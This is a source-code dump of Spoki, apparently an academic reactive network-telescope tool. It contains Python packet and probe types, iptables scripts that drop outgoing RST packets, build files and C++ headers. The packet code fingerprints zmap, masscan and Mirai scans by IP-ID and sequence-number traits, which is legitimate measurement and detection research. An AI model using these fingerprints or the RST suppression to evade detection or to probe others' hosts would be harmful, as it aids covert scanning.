39 | Check if the packet contains TCP and is a TCP SYN ACK packet. 40 | """ 41 | pl = self.pkt.payload 42 | if self.pkt.proto == "tcp" and "syn" in pl.flags and "ack" in pl.flags: 43 | return True 44 | return False 45 | 46 | def is_fin_ack(self): 47 | """ 48 | Check if the packet contains TCP and is a TCP SYN ACK packet. 49 | """ 50 | pl = self.pkt.payload 51 | if self.pkt.proto == "tcp" and "ack" in pl.flags and "fin" in pl.flags: 52 | return True 53 | return False 54 | 55 | def is_rst(self): 56 | """ 57 | Check if the packet contains TCP and is a TCP RST packet. 58 | """ 59 | pl = self.pkt.payload 60 | if self.pkt.proto == "tcp" and "rst" in pl.flags: 61 | return True 62 | return False 63 | 64 | def is_irregular_syn(self): 65 | """ 66 | Check if a Packet containing TCP might be a two phase scan 67 | """ 68 | if not self.is_syn(): 69 | return False 70 | if ( 71 | self.pkt.ipid == 54321 72 | or self.pkt.ttl > 200 73 | or (len(self.pkt.payload.options) == 0) 74 | ): 75 | return True 76 | return False 77 | 78 | def is_scanner_syn(self): 79 | """ 80 | Renamed, here for legacy stuff ... 81 | """ 82 | return self.is_irregular_syn() 83 | 84 | def scanner_tool(self): 85 | """ 86 | Try to figure out the scanner tool that send the probe. Based on 87 | "Remote Identification of Port Scan Toolchains", Ghiette et al. 88 | """ 89 | if self.is_syn(): 90 | # -- zmap ----- 91 | if self.pkt.ipid == 54321: 92 | # see https://github.com/zmap/zmap 93 | # in src/probe_modules/packet.c:89 94 | return "zmap" 95 | # -- massan --- 96 | pl = self.pkt.payload 97 | masscan_ipid = pl.dport ^ pl.snum ^ int(self.pkt.daddr) 98 | if self.pkt.ipid == masscan_ipid: 99 | return "masscan" 100 | # -- unicorn -- (not implemented) 101 | # * uses a 32 bit session key and then sets seq to 102 | # key ^ saddr ^ ((sport << 16) + dport) 103 | # * key should be the same for probes from the same instance 104 | # return 'unicorn' 105 | # -- nmap ----- (not implemented) 106 | # * has a key as well and multiple probes could be attributed to 107 | # the same instance as well 108 | # return 'nmap' 109 | # -- mirai ---- 110 | if (pl.dport == 23 or pl.dport == 2323) and pl.snum == int(self.pkt.daddr): 111 | # see https://github.com/jgamblin/Mirai-Source-Code 112 | # in mirai/bot/scanner.c:225 113 | return "mirai" 114 | return "unknown" 115 | -------------------------------------------------------------------------------- /evaluation/src/cse/types/event.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Event type that bundles a packet and the resulting probe request. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import json 13 | 14 | from cse.types.packet import Packet 15 | from cse.types.probe_request import ProbeRequest 16 | 17 | 18 | class Event: 19 | def __init__(self, packet, probe_request): 20 | # The packet. 21 | self.packet = packet 22 | # The resulting probe request. 23 | self.probe_request = probe_request 24 | self.probe_confirmation = None 25 | self.batch_id = None # Makes filtering a bit easier 26 | 27 | def to_dict(self): 28 | # Will keep the original log style and hence the names. 29 | d = {} 30 | d["trigger"] = self.packet.to_dict() 31 | if self.probe_request is not None: 32 | d["reaction"] = self.probe_request.to_dict() 33 | else: 34 | d["reaction"] = None 35 | return d 36 | 37 | def get_key(self): 38 | return self.packet.key() 39 | 40 | def set_batch_id(self, batch_id): 41 | self.batch_id = batch_id 42 | self.packet.set_batch_id(batch_id) 43 | if self.probe_request is not None: 44 | self.probe_request.set_batch_id(batch_id) 45 | 46 | def __str__(self): 47 | return json.dumps(self.to_dict()) 48 | 49 | @staticmethod 50 | def from_dict(o): 51 | pkt = Packet.from_dict(o["trigger"]) 52 | req = None 53 | if "reaction" in o and o["reaction"] is not None: 54 | req = ProbeRequest.from_dict(o["reaction"]) 55 | return Event(pkt, req) 56 | 57 | @staticmethod 58 | def from_csv(row): 59 | pkt = Packet.from_csv(row) 60 | req = None 61 | if row["probed"] == "true": 62 | req = ProbeRequest.from_csv(row) 63 | return Event(pkt, req) 64 | -------------------------------------------------------------------------------- /evaluation/src/cse/types/probe_request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | A probe request issued by spoki to scamper. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import json 13 | 14 | import numpy as np 15 | 16 | from enum import Enum 17 | from ipaddress import ip_address 18 | 19 | 20 | class ProbeRequest: 21 | def __init__( 22 | self, 23 | saddr, 24 | daddr, 25 | sport, 26 | dport, 27 | anum, 28 | snum, 29 | userid, 30 | method, 31 | num_probes, 32 | payload, 33 | ): 34 | self.saddr = saddr 35 | self.daddr = daddr 36 | self.sport = sport 37 | self.dport = dport 38 | self.anum = anum 39 | self.snum = snum 40 | self.userid = userid 41 | self.method = method 42 | self.num_probes = num_probes 43 | self.payload = payload 44 | self.batch_id = None # Makes filtering a bit easier 45 | 46 | def set_batch_id(self, batch_id): 47 | self.batch_id = batch_id 48 | 49 | def to_dict(self): 50 | d = {} 51 | d["saddr"] = str(self.saddr) 52 | d["daddr"] = str(self.daddr) 53 | d["sport"] = int(self.sport) 54 | d["dport"] = int(self.dport) 55 | d["anum"] = int(self.anum) 56 | d["snum"] = int(self.snum) 57 | d["userid"] = int(self.userid) 58 | d["method"] = self.method 59 | d["num_probes"] = self.num_probes 60 | d["payload"] = self.payload 61 | return d 62 | 63 | def __str__(self): 64 | return json.dumps(self.to_dict()) 65 | 66 | @staticmethod 67 | def from_dict(obj): 68 | sa = ip_address(obj["saddr"]) 69 | da = ip_address(obj["daddr"]) 70 | sp = np.uint16(obj["sport"]) 71 | dp = np.uint16(obj["dport"]) 72 | anum = np.uint32(obj["anum"]) 73 | snum = np.uint32(obj["snum"]) 74 | userid = np.uint32(obj["userid"]) 75 | method = obj["method"] 76 | num = int(obj["num_probes"]) 77 | pl = obj["payload"] 78 | return ProbeRequest(sa, da, sp, dp, anum, snum, userid, method, num, pl) 79 | 80 | @staticmethod 81 | def from_csv(row): 82 | # Change source and destination info! 83 | da = ip_address(row["saddr"]) 84 | sa = ip_address(row["daddr"]) 85 | dp = np.uint16(row["sport"]) 86 | sp = np.uint16(row["dport"]) 87 | # The rest if request specific in each row. 88 | anum = np.uint32(row["probe anum"]) 89 | snum = np.uint32(row["probe snum"]) 90 | userid = np.uint32(row["userid"]) 91 | method = row["method"] 92 | num = int(row["num probes"]) 93 | pl = "" 94 | return ProbeRequest(sa, da, sp, dp, anum, snum, userid, method, num, pl) 95 | -------------------------------------------------------------------------------- /evaluation/src/cse/types/protocols/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/inetrg/spoki/85c916a3838c9e13b4cf6aa2eef2074c6ecf88a1/evaluation/src/cse/types/protocols/__init__.py -------------------------------------------------------------------------------- /evaluation/src/cse/types/protocols/icmp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | ICMP data for spoki events. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import json 13 | 14 | 15 | class ICMP: 16 | def __init__(self, method, payload): 17 | self.method = method 18 | self.payload = payload 19 | 20 | def to_dict(self): 21 | d = {"method": self.method, "payload": self.payload} 22 | return d 23 | 24 | @staticmethod 25 | def from_dict(obj): 26 | m = obj["type"] 27 | pl = "empty" 28 | if "unreachable" in obj: 29 | pl = obj["unreachable"] 30 | return ICMP(m, pl) 31 | 32 | @staticmethod 33 | def from_csv(row): 34 | m = row["options"] 35 | pl = "" 36 | return ICMP(m, pl) 37 | 38 | def __str__(self): 39 | return json.dumps(self.to_dict()) 40 | -------------------------------------------------------------------------------- /evaluation/src/cse/types/protocols/tcp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | TCP type for spoki events. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import json 13 | 14 | import numpy as np 15 | 16 | 17 | all_tcp_flags = [ 18 | "fin", 19 | "syn", 20 | "rst", 21 | "psh", 22 | "ack", 23 | "urg", 24 | "ece", 25 | "cwr", 26 | "ns", 27 | ] 28 | 29 | 30 | class TCP: 31 | def __init__(self, sport, dport, snum, anum, window_size, flags, options, payload): 32 | self.sport = sport 33 | self.dport = dport 34 | self.snum = snum 35 | self.anum = anum 36 | self.window_size = window_size 37 | self.flags = flags 38 | self.options = options 39 | self.payload = payload 40 | 41 | def to_dict(self): 42 | d = {} 43 | d["sport"] = int(self.sport) 44 | d["dport"] = int(self.dport) 45 | d["snum"] = int(self.snum) 46 | d["anum"] = int(self.anum) 47 | d["window_size"] = int(self.window_size) 48 | d["flags"] = self.flags 49 | d["options"] = self.options 50 | d["payload"] = self.payload 51 | return d 52 | 53 | @staticmethod 54 | def from_dict(obj): 55 | sp = np.uint16(obj["sport"]) 56 | dp = np.uint16(obj["dport"]) 57 | sn = np.uint32(obj["snum"]) 58 | an = np.uint32(obj["anum"]) 59 | ws = np.uint16(obj["window_size"]) 60 | pl = obj["payload"] 61 | flags = [] 62 | for flag in all_tcp_flags: 63 | # check if option exitsts 64 | if flag in obj: 65 | # check if it is true 66 | if obj[flag]: 67 | flags.append(flag) 68 | opts = [] 69 | if "options" in obj and obj["options"] is not None: 70 | opts = obj["options"] 71 | opts = list(opts.keys()) 72 | return TCP(sp, dp, sn, an, ws, flags, opts, pl) 73 | 74 | @staticmethod 75 | def from_csv(row): 76 | sp = np.uint16(row["sport"]) 77 | dp = np.uint16(row["dport"]) 78 | sn = np.uint32(row["snum"]) 79 | an = np.uint32(row["anum"]) 80 | ws = np.uint16(row["window size"]) 81 | pl = row["payload"] 82 | flags = [] 83 | for flag in all_tcp_flags: 84 | # Check if option exists and is set. 85 | if flag in row and row[flag] == '1': 86 | flags.append(flag) 87 | opts = [] 88 | if "options" in row and row["options"] != '': 89 | opts = list(row["options"].split(':')) 90 | return TCP(sp, dp, sn, an, ws, flags, opts, pl) 91 | 92 | def __str__(self): 93 | return json.dumps(self.to_dict()) 94 | -------------------------------------------------------------------------------- /evaluation/src/cse/types/protocols/udp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | UDP data for events collected by spoki. 6 | """ 7 | 8 | __maintainer__ = "Raphael Hiesgen" 9 | __email__ = "raphael.hiesgen@haw-hamburg.de" 10 | __copyright__ = "Copyright 2018-2021" 11 | 12 | import json 13 | 14 | import numpy as np 15 | 16 | 17 | class UDP: 18 | def __init__(self, sport, dport, payload): 19 | self.sport = sport 20 | self.dport = dport 21 | self.payload = payload 22 | 23 | def to_dict(self): 24 | d = {} 25 | d["sport"] = int(self.sport) 26 | d["dport"] = int(self.dport) 27 | d["payload"] = self.payload 28 | return d 29 | 30 | @staticmethod 31 | def from_dict(obj): 32 | sp = np.uint16(obj["sport"]) 33 | dp = np.uint16(obj["dport"]) 34 | return UDP(sp, dp, obj["payload"]) 35 | 36 | @staticmethod 37 | def from_csv(row): 38 | sp = np.uint16(row["sport"]) 39 | dp = np.uint16(row["dport"]) 40 | return UDP(sp, dp, row["payload"]) 41 | 42 | def __str__(self): 43 | return json.dumps(self.to_dict()) 44 | -------------------------------------------------------------------------------- /scripts/disable-rst.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | iptables -I OUTPUT -p tcp --tcp-flags ALL RST,ACK -j DROP -m comment --comment "spoki-rst-rule" 4 | -------------------------------------------------------------------------------- /scripts/enable-rst.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | iptables-save | grep -v "spoki-rst-rule" | iptables-restore 4 | -------------------------------------------------------------------------------- /spoki/caf-application.conf: -------------------------------------------------------------------------------- 1 | global { 2 | shards=1 3 | uri="int:bond0" 4 | batch-size=1 5 | enable-filters=false 6 | } 7 | 8 | probers { 9 | tcp=[ 10 | "127.0.0.1:11011", 11 | ] 12 | unix-domain=false 13 | service-specific-probes=false 14 | reflect=false 15 | } 16 | 17 | collectors { 18 | out-dir="../logs" 19 | datasource-tag="test" 20 | reserve-size=1024 21 | write-threshold=1 22 | } 23 | 24 | cache { 25 | disable-udp=true 26 | disable-icmp=true 27 | } 28 | 29 | caf { 30 | logger { 31 | verbosity='ERROR' 32 | file-name="out.log" 33 | inline-output=true 34 | console='COLORED' 35 | console-format="%c %p %a %t %C %M %F:%L %m" 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /spoki/cmake/FindSCAMPER.cmake: -------------------------------------------------------------------------------- 1 | # Try to find scamperfile headers and libraries 2 | # 3 | # Use this module as follows: 4 | # 5 | # find_package(SCAMPER [REQUIRED]) 6 | # 7 | # Variables used by this module (they can change the default behavior and need 8 | # to be set before calling find_package): 9 | # 10 | # SCAMPER_ROOT_DIR Set this variable either to an installation prefix or to 11 | # the SCAMPER root directory where to look for the library. 12 | # 13 | # Variables defined by this module: 14 | # 15 | # SCAMPER_FOUND Found library and header 16 | # SCAMPER_LIBRARY Path to library 17 | # SCAMPER_INCLUDE_DIR Include path for headers 18 | # 19 | 20 | find_library(SCAMPER_LIBRARY 21 | NAMES 22 | scamperfile 23 | HINTS 24 | ${SCAMPER_ROOT_DIR}/scamper/.libs 25 | ${SCAMPER_ROOT_DIR}/lib 26 | ) 27 | 28 | find_path(SCAMPER_INCLUDE_DIR 29 | NAMES 30 | "scamper_ping.h" 31 | HINTS 32 | ${SCAMPER_ROOT_DIR} 33 | ${SCAMPER_ROOT_DIR}/include 34 | ${SCAMPER_ROOT_DIR}/scamper 35 | ) 36 | 37 | include(FindPackageHandleStandardArgs) 38 | 39 | find_package_handle_standard_args( 40 | SCAMPER 41 | DEFAULT_MSG 42 | SCAMPER_LIBRARY 43 | SCAMPER_INCLUDE_DIR 44 | ) 45 | 46 | mark_as_advanced( 47 | SCAMPER_ROOT_DIR 48 | SCAMPER_LIBRARY 49 | SCAMPER_INCLUDE_DIR 50 | ) 51 | -------------------------------------------------------------------------------- /spoki/cmake/FindTRACE.cmake: -------------------------------------------------------------------------------- 1 | # Try to find libtrace headers and libraries 2 | # 3 | # Use this module as follows: 4 | # 5 | # find_package(TRACE [REQUIRED]) 6 | # 7 | # Variables used by this module (they can change the default behavior and need 8 | # to be set before calling find_package): 9 | # 10 | # TRACE_ROOT_DIR Set this variable either to an installation prefix or to 11 | # the TRACE root directory where to look for the library. 12 | # 13 | # Variables defined by this module: 14 | # 15 | # TRACE_FOUND Found library and header 16 | # TRACE_LIBRARY Path to library 17 | # TRACE_INCLUDE_DIR Include path for headers 18 | # 19 | 20 | find_library(TRACE_LIBRARY 21 | NAMES 22 | trace 23 | HINTS 24 | ${TRACE_ROOT_DIR}/lib 25 | ${TRACE_ROOT_DIR}/lib/.libs 26 | ) 27 | 28 | find_path(TRACE_INCLUDE_DIR 29 | NAMES 30 | "libtrace_parallel.h" 31 | HINTS 32 | ${TRACE_ROOT_DIR}/include 33 | ${TRACE_ROOT_DIR}/lib/ 34 | ) 35 | 36 | include(FindPackageHandleStandardArgs) 37 | 38 | find_package_handle_standard_args( 39 | TRACE 40 | DEFAULT_MSG 41 | TRACE_LIBRARY 42 | TRACE_INCLUDE_DIR 43 | ) 44 | 45 | mark_as_advanced( 46 | TRACE_ROOT_DIR 47 | TRACE_LIBRARY 48 | TRACE_INCLUDE_DIR 49 | ) 50 | -------------------------------------------------------------------------------- /spoki/cmake/FindWANDIO.cmake: -------------------------------------------------------------------------------- 1 | # Try to find scamperfile headers and libraries 2 | # 3 | # Use this module as follows: 4 | # 5 | # find_package(WANDIO [REQUIRED]) 6 | # 7 | # Variables used by this module (they can change the default behavior and need 8 | # to be set before calling find_package): 9 | # 10 | # WANDIO_ROOT_DIR Set this variable either to an installation prefix or to 11 | # the WANDIO root directory where to look for the library. 12 | # 13 | # Variables defined by this module: 14 | # 15 | # WANDIO_FOUND Found library and header 16 | # WANDIO_LIBRARY Path to library 17 | # WANDIO_INCLUDE_DIR Include path for headers 18 | # 19 | 20 | find_library(WANDIO_LIBRARY 21 | NAMES 22 | wandio 23 | HINTS 24 | ${WANDIO_ROOT_DIR}/lib 25 | ${WANDIO_ROOT_DIR}/lib/.libs 26 | ) 27 | 28 | find_path(WANDIO_INCLUDE_DIR 29 | NAMES 30 | "wandio.h" 31 | HINTS 32 | ${WANDIO_ROOT_DIR} 33 | ${WANDIO_ROOT_DIR}/include 34 | ${WANDIO_ROOT_DIR}/lib 35 | ) 36 | 37 | include(FindPackageHandleStandardArgs) 38 | 39 | find_package_handle_standard_args( 40 | WANDIO 41 | DEFAULT_MSG 42 | WANDIO_LIBRARY 43 | WANDIO_INCLUDE_DIR 44 | ) 45 | 46 | mark_as_advanced( 47 | WANDIO_ROOT_DIR 48 | WANDIO_LIBRARY 49 | WANDIO_INCLUDE_DIR 50 | ) 51 | -------------------------------------------------------------------------------- /spoki/cmake/Findczmq.cmake: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # THIS FILE IS 100% GENERATED BY ZPROJECT; DO NOT EDIT EXCEPT EXPERIMENTALLY # 3 | # Read the zproject/README.md for information about making permanent changes. # 4 | ################################################################################ 5 | 6 | if (NOT MSVC) 7 | include(FindPkgConfig) 8 | pkg_check_modules(PC_CZMQ "libczmq") 9 | if (NOT PC_CZMQ_FOUND) 10 | pkg_check_modules(PC_CZMQ "libczmq") 11 | endif (NOT PC_CZMQ_FOUND) 12 | if (PC_CZMQ_FOUND) 13 | # some libraries install the headers is a subdirectory of the include dir 14 | # returned by pkg-config, so use a wildcard match to improve chances of finding 15 | # headers and SOs. 16 | set(PC_CZMQ_INCLUDE_HINTS ${PC_CZMQ_INCLUDE_DIRS} ${PC_CZMQ_INCLUDE_DIRS}/*) 17 | set(PC_CZMQ_LIBRARY_HINTS ${PC_CZMQ_LIBRARY_DIRS} ${PC_CZMQ_LIBRARY_DIRS}/*) 18 | endif(PC_CZMQ_FOUND) 19 | endif (NOT MSVC) 20 | 21 | find_path ( 22 | CZMQ_INCLUDE_DIRS 23 | NAMES czmq.h 24 | HINTS ${PC_CZMQ_INCLUDE_HINTS} 25 | ) 26 | 27 | find_library ( 28 | CZMQ_LIBRARIES 29 | NAMES czmq 30 | HINTS ${PC_CZMQ_LIBRARY_HINTS} 31 | ) 32 | 33 | include(FindPackageHandleStandardArgs) 34 | 35 | find_package_handle_standard_args( 36 | CZMQ 37 | REQUIRED_VARS CZMQ_LIBRARIES CZMQ_INCLUDE_DIRS 38 | ) 39 | mark_as_advanced( 40 | CZMQ_FOUND 41 | CZMQ_LIBRARIES CZMQ_INCLUDE_DIRS 42 | ) 43 | 44 | ################################################################################ 45 | # THIS FILE IS 100% GENERATED BY ZPROJECT; DO NOT EDIT EXCEPT EXPERIMENTALLY # 46 | # Read the zproject/README.md for information about making permanent changes. # 47 | ################################################################################ 48 | -------------------------------------------------------------------------------- /spoki/cmake/SpokiConfig.cmake.in: -------------------------------------------------------------------------------- 1 | @PACKAGE_INIT@ 2 | 3 | include(CMakeFindDependencyMacro) 4 | 5 | set(CMAKE_THREAD_PREFER_PTHREAD TRUE) 6 | set(THREADS_PREFER_PTHREAD_FLAG TRUE) 7 | find_dependency(Threads) 8 | 9 | include("${CMAKE_CURRENT_LIST_DIR}/CAFTargets.cmake") 10 | -------------------------------------------------------------------------------- /spoki/cmake/build_config.hpp.in: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | // this header is auto-generated by CMake 18 | 19 | #define CS_LOG_LEVEL CAF_LOG_LEVEL_@CS_LOG_LEVEL@ 20 | 21 | -------------------------------------------------------------------------------- /spoki/cmake/check-compiler-features.cpp: -------------------------------------------------------------------------------- 1 | #ifndef __cpp_noexcept_function_type 2 | # error "Noexcept not part of the type system (__cpp_noexcept_function_type)" 3 | #endif 4 | 5 | #ifndef __cpp_fold_expressions 6 | # error "No support for fold expression (__cpp_fold_expressions)" 7 | #endif 8 | 9 | #ifndef __cpp_if_constexpr 10 | # error "No support for 'if constexpr' (__cpp_if_constexpr)" 11 | #endif 12 | 13 | // Unfortunately there's no feature test macro for thread_local. By putting this 14 | // here, at least we'll get a compiler error on unsupported platforms. 15 | [[maybe_unused]] thread_local int foo; 16 | 17 | int main(int, char**) { 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /spoki/cmake/check-consistency.cmake: -------------------------------------------------------------------------------- 1 | execute_process(COMMAND ${CMAKE_COMMAND} -E compare_files 2 | "${file_under_test}" "${generated_file}" 3 | RESULT_VARIABLE result) 4 | if(result EQUAL 0) 5 | # files still in sync 6 | else() 7 | message(SEND_ERROR "${file_under_test} is out of sync! Run target " 8 | "'update-enum-strings' to update automatically") 9 | endif() 10 | -------------------------------------------------------------------------------- /spoki/cmake/cmake_uninstall.cmake.in: -------------------------------------------------------------------------------- 1 | if (NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") 2 | message(FATAL_ERROR "Cannot find install manifest: 3 | \"@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt\"") 4 | endif(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") 5 | 6 | file(READ "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt" files) 7 | string(REGEX REPLACE "\n" ";" files "${files}") 8 | list(REVERSE files) 9 | foreach (file ${files}) 10 | message(STATUS "Uninstalling \"$ENV{DESTDIR}${file}\"") 11 | if (EXISTS "$ENV{DESTDIR}${file}") 12 | execute_process( 13 | COMMAND @CMAKE_COMMAND@ -E remove "$ENV{DESTDIR}${file}" 14 | OUTPUT_VARIABLE rm_out 15 | RESULT_VARIABLE rm_retval 16 | ) 17 | if(NOT ${rm_retval} EQUAL 0) 18 | message(FATAL_ERROR "Problem when removing 19 | \"$ENV{DESTDIR}${file}\"") 20 | endif (NOT ${rm_retval} EQUAL 0) 21 | else (EXISTS "$ENV{DESTDIR}${file}") 22 | message(STATUS "File \"$ENV{DESTDIR}${file}\" does not exist.") 23 | endif (EXISTS "$ENV{DESTDIR}${file}") 24 | endforeach(file) 25 | -------------------------------------------------------------------------------- /spoki/cmake/dummy.cpp: -------------------------------------------------------------------------------- 1 | // Some CMake generators (in particular XCode) choke on library targets that 2 | // only consist of a TARGET_OBJECTS generator expression. Adding this otherwise 3 | // useless file to the library target makes sure the generated project files 4 | // have at least one regular source file. 5 | 6 | namespace { 7 | 8 | [[maybe_unused]] int dummy; 9 | 10 | } // namespace 11 | -------------------------------------------------------------------------------- /spoki/cmake/get_compiler_version.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int main() 6 | { 7 | #if defined(__clang__) 8 | cout << __clang_major__ 9 | << "." 10 | << __clang_minor__; 11 | #elif defined(__GNUC__) 12 | cout << __GNUC__ 13 | << "." 14 | << __GNUC_MINOR__; 15 | #else 16 | cout << "0.0"; 17 | #endif 18 | } 19 | -------------------------------------------------------------------------------- /spoki/libspoki/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # -- header files -------------------------------------------------------------- 2 | 3 | file(GLOB_RECURSE SPOKI_HEADERS "spoki/*.hpp") 4 | 5 | # -- generate files ------------------------------------------------------------ 6 | 7 | # configure build_config.hpp header 8 | configure_file("${PROJECT_SOURCE_DIR}/cmake/build_config.hpp.in" 9 | "${CMAKE_CURRENT_BINARY_DIR}/spoki/detail/build_config.hpp" 10 | @ONLY) 11 | 12 | # -- add targets --------------------------------------------------------------- 13 | 14 | spoki_add_component( 15 | core 16 | DEPENDENCIES 17 | PUBLIC 18 | CAF::core 19 | CAF::io 20 | ${SCAMPER_LIBRARY} 21 | ${TRACE_LIBRARY} 22 | ${WANDIO_LIBRARY} 23 | $<$:ws2_32> 24 | PRIVATE 25 | SPOKI::internal 26 | nlohmann_json::nlohmann_json 27 | ENUM_CONSISTENCY_CHECKS 28 | analysis.classification 29 | net.icmp_type 30 | net.protocol 31 | net.tcp_opt 32 | probe.method 33 | scamper.ec 34 | HEADERS 35 | ${SPOKI_HEADERS} 36 | SOURCES 37 | src/analysis/classification_strings.cpp 38 | src/analysis/classify.cpp 39 | src/analysis/consistency.cpp 40 | src/analysis/regression.cpp 41 | src/buffer.cpp 42 | src/cache/entry.cpp 43 | src/cache/rotating_store.cpp 44 | src/cache/shard.cpp 45 | src/cache/store.cpp 46 | src/cache/timeout.cpp 47 | src/collector.cpp 48 | src/crc.cpp 49 | src/hashing.cpp 50 | src/net/five_tuple.cpp 51 | src/net/icmp_type_strings.cpp 52 | src/net/icmp.cpp 53 | src/net/protocol_strings.cpp 54 | src/net/socket_guard.cpp 55 | src/net/tcp_opt_strings.cpp 56 | src/net/tcp_opt.cpp 57 | src/net/tcp.cpp 58 | src/net/udp_hdr.cpp 59 | src/net/udp.cpp 60 | src/net/unix.cpp 61 | src/packet.cpp 62 | src/probe/method_strings.cpp 63 | src/probe/method.cpp 64 | src/probe/payloads.cpp 65 | src/probe/request.cpp 66 | src/probe/udp_prober.cpp 67 | src/scamper/async_decoder.cpp 68 | src/scamper/broker.cpp 69 | src/scamper/driver.cpp 70 | src/scamper/ec_strings.cpp 71 | src/scamper/manager.cpp 72 | src/scamper/ping.cpp 73 | src/scamper/reply.cpp 74 | src/task.cpp 75 | src/time.cpp 76 | src/trace/instance.cpp 77 | src/trace/processing.cpp 78 | src/trace/reader.cpp 79 | src/trace/reporting.cpp 80 | src/trace/state.cpp 81 | TEST_SOURCES 82 | test/core-test.cpp 83 | TEST_SUITES 84 | analysis.classify 85 | analysis.consistency 86 | analysis.regression 87 | cache.rotating_store 88 | cache.store 89 | collector 90 | consistent_hash_map 91 | probe.payloads 92 | ) -------------------------------------------------------------------------------- /spoki/libspoki/spoki/all.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include "spoki/atoms.hpp" 16 | #include "spoki/buffer.hpp" 17 | #include "spoki/collector.hpp" 18 | #include "spoki/config.hpp" 19 | #include "spoki/consistent_hash_map.hpp" 20 | #include "spoki/crc.hpp" 21 | #include "spoki/defaults.hpp" 22 | #include "spoki/fwd.hpp" 23 | #include "spoki/hashing.hpp" 24 | #include "spoki/logger.hpp" 25 | #include "spoki/operation.hpp" 26 | #include "spoki/packet.hpp" 27 | #include "spoki/target_key.hpp" 28 | #include "spoki/task.hpp" 29 | #include "spoki/time.hpp" 30 | #include "spoki/unique_c_ptr.hpp" 31 | 32 | #include "spoki/analysis/classification.hpp" 33 | #include "spoki/analysis/classify.hpp" 34 | #include "spoki/analysis/consistency.hpp" 35 | #include "spoki/analysis/regression.hpp" 36 | 37 | #include "spoki/trace/instance.hpp" 38 | #include "spoki/trace/processing.hpp" 39 | #include "spoki/trace/reader.hpp" 40 | #include "spoki/trace/reporting.hpp" 41 | #include "spoki/trace/state.hpp" 42 | 43 | #include "spoki/net/five_tuple.hpp" 44 | #include "spoki/net/icmp.hpp" 45 | #include "spoki/net/icmp_type.hpp" 46 | #include "spoki/net/protocol.hpp" 47 | #include "spoki/net/tcp.hpp" 48 | #include "spoki/net/tcp_opt.hpp" 49 | #include "spoki/net/udp.hpp" 50 | #include "spoki/net/udp_hdr.hpp" 51 | 52 | #include "spoki/cache/entry.hpp" 53 | #include "spoki/cache/rotating_store.hpp" 54 | #include "spoki/cache/shard.hpp" 55 | #include "spoki/cache/store.hpp" 56 | #include "spoki/cache/timeout.hpp" 57 | 58 | #include "spoki/probe/method.hpp" 59 | #include "spoki/probe/payloads.hpp" 60 | #include "spoki/probe/request.hpp" 61 | #include "spoki/probe/udp_prober.hpp" 62 | 63 | #include "spoki/scamper/async_decoder.hpp" 64 | #include "spoki/scamper/broker.hpp" 65 | #include "spoki/scamper/ec.hpp" 66 | #include "spoki/scamper/manager.hpp" 67 | #include "spoki/scamper/ping.hpp" 68 | #include "spoki/scamper/reply.hpp" 69 | -------------------------------------------------------------------------------- /spoki/libspoki/spoki/analysis/classification.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/detail/core_export.hpp" 20 | #include "spoki/task.hpp" 21 | 22 | namespace spoki::analysis { 23 | 24 | /// Tag to classify a sequence of IP ids. 25 | enum class classification : uint8_t { 26 | /// Not enough data to make a decision. 27 | unchecked, 28 | /// All ids are the same or match the ids of the probes. 29 | constant, 30 | /// The ids appear to be assigned at random. 31 | random, 32 | /// Ids in the sequence increase monotonically. 33 | monotonic, 34 | /// None of the above. 35 | other 36 | }; 37 | 38 | // -- inspect requirements ----------------------------------------------------- 39 | 40 | 